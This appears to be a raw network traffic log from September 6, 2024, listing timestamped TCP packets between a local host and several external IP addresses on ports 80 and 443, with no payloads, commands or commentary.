Sep 6, 2024 08:17:05.413757086 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.413775921 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.426074028 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426091909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426101923 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426111937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426256895 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.426354885 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426404953 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426414967 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426502943 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426515102 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426525116 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426542044 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.426542044 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.426556110 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.426577091 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.426578045 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.426625967 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.431329966 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.431341887 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.431351900 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.431364059 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.431402922 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.431426048 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.433814049 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.436292887 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.436448097 CEST	49733	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.441174984 CEST	80	49733	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.456820965 CEST	80	49741	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.456909895 CEST	49741	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.457106113 CEST	49741	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.457472086 CEST	49743	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.462219954 CEST	80	49741	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.462779999 CEST	80	49743	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.462841034 CEST	49743	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.462920904 CEST	49743	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.463470936 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.463507891 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.463566065 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.463813066 CEST	49744	443	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.463824034 CEST	443	49744	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.464488029 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464502096 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464514017 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464525938 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464536905 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464550972 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464551926 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.464593887 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.464602947 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464613914 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464653969 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.464795113 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464807034 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.464840889 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.465497017 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465512037 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465523958 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465552092 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.465573072 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.465635061 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465647936 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465658903 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465687037 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.465717077 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.465764999 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465816021 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.465940952 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.465996981 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.466099024 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466110945 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466150999 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.466248035 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466258049 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466268063 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466279030 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466294050 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466300964 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.466320038 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.466345072 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.466922998 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466936111 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.466975927 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.467053890 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.467066050 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.467075109 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.467087030 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.467099905 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.467107058 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.467129946 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.467149019 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.467181921 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.467230082 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.467861891 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.467916012 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.467993975 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468004942 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468017101 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468028069 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468036890 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.468059063 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.468080044 CEST	49737	80	192.168.2.4	147.45.44.104
Sep 6, 2024 08:17:05.468137980 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468147993 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468158007 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468163967 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.468170881 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468194962 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.468225002 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.468693972 CEST	80	49743	76.76.21.142	192.168.2.4
Sep 6, 2024 08:17:05.468756914 CEST	49743	80	192.168.2.4	76.76.21.142
Sep 6, 2024 08:17:05.468880892 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468892097 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468903065 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.468924046 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.468956947 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.473233938 CEST	80	49737	147.45.44.104	192.168.2.4
Sep 6, 2024 08:17:05.484018087 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484041929 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484055996 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484067917 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484075069 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484081030 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484087944 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484095097 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484111071 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484128952 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484134912 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484141111 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484152079 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484164000 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484184980 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484189987 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484193087 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484208107 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.484217882 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484236956 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.484256029 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485021114 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485033035 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485044003 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485061884 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485069036 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485074043 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485085964 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485091925 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485120058 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485124111 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485135078 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485169888 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485831976 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485842943 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485853910 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485867023 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485878944 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485898018 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485918999 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.485955954 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485966921 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485976934 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485989094 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.485999107 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486001015 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486025095 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486037016 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486716032 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486757040 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486768961 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486780882 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486807108 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486820936 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486836910 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486849070 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486890078 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486910105 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486921072 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486932993 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486944914 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.486959934 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.486973047 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.487663031 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487673998 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487685919 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487705946 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.487721920 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487726927 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.487734079 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487744093 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487756014 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487760067 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.487777948 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.487798929 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.487807035 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487818956 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.487852097 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.489043951 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.489088058 CEST	80	49736	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.489089966 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.489193916 CEST	49736	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.500772953 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.500823021 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.500834942 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.500845909 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.500849009 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.500859976 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.500870943 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.500901937 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.541640997 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.541671038 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.541683912 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.541707039 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.541734934 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.553735018 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.553752899 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.553857088 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.553867102 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.553885937 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.553898096 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.553906918 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.553911924 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.553930998 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.553941965 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.553953886 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.553965092 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.553965092 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.553977966 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.553983927 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554006100 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554044008 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554054976 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554064989 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554091930 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554120064 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554205894 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554302931 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554306984 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554347992 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554379940 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554421902 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554434061 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554445982 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554478884 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554495096 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554508924 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554519892 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554529905 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.554541111 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.554548025 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554573059 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554595947 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.554601908 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.554601908 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.554634094 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.554649115 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.554691076 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.554708958 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.554764986 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554786921 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554814100 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554828882 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554908037 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554919958 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554932117 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554944038 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.554960966 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.554982901 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.554991007 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555028915 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.555044889 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.555057049 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.555099010 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.555113077 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.555125952 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.555135965 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.555162907 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.555165052 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555176020 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555183887 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.555186033 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555197954 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555219889 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555248022 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555253983 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555265903 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555277109 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555294991 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555301905 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555306911 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555318117 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555324078 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555357933 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555865049 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555883884 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555895090 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555910110 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555944920 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.555980921 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.555993080 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556004047 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556018114 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556030035 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.556051016 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556051970 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.556068897 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556080103 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556092978 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556096077 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.556111097 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556126118 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.556155920 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.556183100 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556195974 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556205988 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556217909 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556229115 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556236029 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.556250095 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.556269884 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.556776047 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556792021 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556803942 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556816101 CEST	80	49739	31.41.244.9	192.168.2.4
Sep 6, 2024 08:17:05.556826115 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.556855917 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556857109 CEST	49739	80	192.168.2.4	31.41.244.9
Sep 6, 2024 08:17:05.556868076 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556879997 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556900978 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.556927919 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556931019 CEST	49735	80	192.168.2.4	46.29.235.52
Sep 6, 2024 08:17:05.556938887 CEST	80	49735	46.29.235.52	192.168.2.4
Sep 6, 2024 08:17:05.556951046 CEST	80	49735	46.29.235.52	192.168.2.4
